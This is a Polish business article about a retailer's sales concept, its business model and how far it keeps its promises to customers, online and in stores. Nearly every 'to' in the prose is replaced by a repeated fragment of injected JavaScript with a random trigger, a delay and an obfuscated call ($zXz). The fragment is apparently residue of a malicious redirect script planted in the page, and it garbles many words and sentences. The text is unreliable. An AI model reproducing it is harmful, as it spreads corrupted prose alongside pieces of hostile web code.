Klienci odwiedzają firmy ze względu na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, jakie te są. A raczej ze względu na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co im najpierw obiecały, a potem czy tego dotrzymały. Obietnicę składa Koncept Sprzedażowy firmy, a dotrzymuje jej Model Biznesowy. Co dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jest jedno i drugie?
Przewaga, Model, Koncept
Każda firma jakoś działa. To działanie można opisać w uproszczony sposób, sprowadzając je do najważniejszych elementów i relacji między nimi. Tak właśnie powstaje Model Biznesowy, uproszczony opis firmy, ale dzięki temu uproszczeniu pokazujący, co jest w firmie najważniejsze, dzięki czemu wygrywa i dzięki czemu jest rendom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towna.
Model Biznesowy stanowi obudowę dla przewagi konkurencyjnej, bez której ta by w ogóle nie zaistniała. To przewaga jest pierwotnym źródłem sukcesu firmy, ale też bez Modelu w ogóle by nie zaistniała. Firmy mogą obejść się bez przewagi, ale tylko przez jakiś czas, jeśli perfekcyjnie wykonują swój Model Biznesowy.
W Modelu Biznesowym firmy handlowej wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wydzielić jego szczególną część, tą, z którą styka się i której doświadcza klient końcowy. War dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ją wydzielić, gdyż działa on inaczej niż reszta Modelu, ze względu na uczestnictwo nieobliczalnego elementu klienta. Także inaczej się nim zarządza, wpływając na tego klienta, co można nazwać zarządzaniem sprzedażą.
Koncept Sprzedażowy
Koncept dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to inaczej obraz firmy, jaki kształtuje się w oczach klientów. Na Koncept składa się wszystko, co widzi i ocenia klient. W isdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tocie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to cały Koncept jest jedną wielką obietnicą (w założeniach), a następnie jej urzeczywistnieniem, za co klient ocenia firmę i powraca albo nie, a także rekomenduje ją swoim znajomym.
W głowach klientów kształtuje się obraz rzeczywisty, tymczasem Koncept dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wyidealizowane założenie. To założenie, jakie ma być dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to właśnie obietnica dla klienta.
Obietnica Konceptu
Koncept przyrzeka kliendom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi, że będzie jakiś, np. że będzie tam tanio albo że będzie dobrze obsłużony. Klienci, decydując się na wizytę, kierują się właśnie tym.
Obietnica musi być dotrzymywana, ale na szczęście nie w 100%. To zresztą byłoby za drogie, doskonałość bowiem dużo kosztuje. Zwykle firmy, w tym także te konkurencyjne zatrzymują się na wygodnym 80/20, gdzie 20% wysiłku wykorzystuje 80% możliwości Modelu.
Te 80% dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tolerowana dolna granica doskonałości. Ale jeśli firma zejdzie poniżej, klienci przestaną dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tolerować, a w konsekwencji przychodzić. Czy jednak obietnica i przewaga konkurencyjna dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to samo?
Obietnica a przewaga konkurencyjna
Czy obietnica dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to samo, co przewaga konkurencyjna? Nie. Po pierwsze nie każda przewaga konkurencyjna jest odczuwalna dla klienta, a tylko taka może być obietnicą. Poza tym przewaga jest wąska, dotyczy jednego, maksymalnie dwóch aspektów Konceptu. A obietnica dotyczy go całego.
Jeszcze trudniej jest ze składaniem obietnicy on-line. Tu bowiem wszystko wygląda inaczej.
A jak jest on-line?
Inaczej. Zaczyna się od tego, że on-line klient nie musi dosdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosowywać się do ograniczeń. W handlu tradycyjnym ograniczone możliwości zaspokojenia uśredniają potrzeby klienta. W handlu tradycyjnym w firmach panują różnego rodzaju ograniczenia, pojemności półek, dostępu do Konceptu, szerokości wyboru czy obsługi. W Internecie większość tych ograniczeń przestaje istnieć.
Klient ma możliwość precyzyjnego zdefiniowania, czego tak naprawdę potrzebuje i ma możliwości, aby się dowiedzieć, jaki produkt najlepiej pasuje do jego potrzeby.
Druga różnica dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to podział procesu zakupowego. W sprzedaży on-line sam proces zakupu dzieli się na 3 wyraźne fazy, zainteresowania tematem, wyboru produktu i wyboru kanału zakupu.
Uwaga. „firmy handlowe żyją ze sprzedaży”. Są firmy, które żyją ze sprzedaży informacji, np. blogerzy. Ci powinni celować w fazę pierwszą. Domeną producentów i właścicieli marek produkdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towych jest faza 2, tam decyduje się, co klient kupi. W fazie trzeciej klient decyduje, gdzie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to kupi. A że dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to na tym zależy firmom handlowym, powinny nie tylko starać się pozyskiwać klientów, którzy są w fazie trzeciej, ale też obiecywać im dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, czego w tej właśnie fazie oczekują.
Dla obietnicy i Konceptu Sprzedażowego dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ogromne wyzwanie, gdyż oba muszą się dosdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosować do oczekiwań klienta, a te już same w sobie są bardziej zróżnicowane, a poza tym w każdej fazie zakupu są inne.
Raczej w ogóle trzeba zdefiniować z obietnicy produkdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej, chyba że firma handluje dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towarem, na który ma wyłączność, np. marką własną. W tym obszarze pozostaje raczej obietnica ceny produktu, który przecież staje się łatwo i wszędzie dostępny. Trzeba się skupić na trzeciej fazie i obietnicy dotyczącej wiarygodności i warunków zakupu, jak dostępność, cena i warunki dostawy, sposób i łatwość zwrotu. W fazie wyboru kanału dystrybucji liczy się bowiem wiarygodność kanału, dostępność produktu, oczywiście cena, ale i koszt, a także łatwość dostawy, koszt i łatwość zwrotu, ewentualnie korzyści za lojalność.
Liczy się także specyfika ruchu odwiedzających on-line. W Internecie 80% i więcej ruchu dociera od razu do strony produkdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej, z pominięciem całej infrastruktury sprzedażowej. Dlatego i tak trzeba się skupić na obietnicy, która dotrze do tych 80% klientów, a dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nic innego jak właśnie cena produktu i warunki dostawy.
Uwaga. „łatwiej nie dotrzymać”. On-line lojalność klienta jest mniejsza, ale dla obietnicy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to także dobra wiadomość. Tu można sobie pozwolić na jej niedotrzymywanie, gdyż większość klientów za kolejnym razem i tak od nowa będzie poszukiwać kanału zakupu. Także żywot obietnicy jest krótszy, gdyż trwa ona tak długo, jak długo jest komunikowana, a potem klienci i tak zapominają.
Podsumowanie
Klienci odwiedzają firmę ze względu na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, jaka ona jest. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, jaka ona jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nic innego jak obietnica złożona przez firmę, skorygowana o umiejętność jej dotrzymania. Dotrzymywanie tej obietnicy jest kluczowe, bez niej zacznie spadać odwiedzalność, choć dzieje się dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bardzo wolno i w krótkim okresie niezauważalnie. Na szczęście nikt nie dotrzymuje obietnicy w 100%, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to po prostu za drogie, gdyż doskonałość dużo kosztuje. Jednak jeśli firma zejdzie poniżej 80% tego, co obiecała, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to powoli zaczną się problemy.